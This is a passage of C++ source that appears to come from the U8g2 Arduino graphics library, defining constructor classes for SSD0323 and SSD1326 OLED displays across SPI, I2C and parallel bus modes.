u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_6800 : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_8080 : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_6800 : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_8080 : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_6800 : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_8080 : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD0323_OS128064_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD0323_OS128064_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD0323_OS128064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd0323_i2c_os128064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_6800 : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_8080 : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_6800 : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_8080 : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_6800 : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_F_8080 : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_er_256x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1326_i2c_er_256x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1326_ER_256X32_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1326_ER_256X32_2_HW_I2C(const 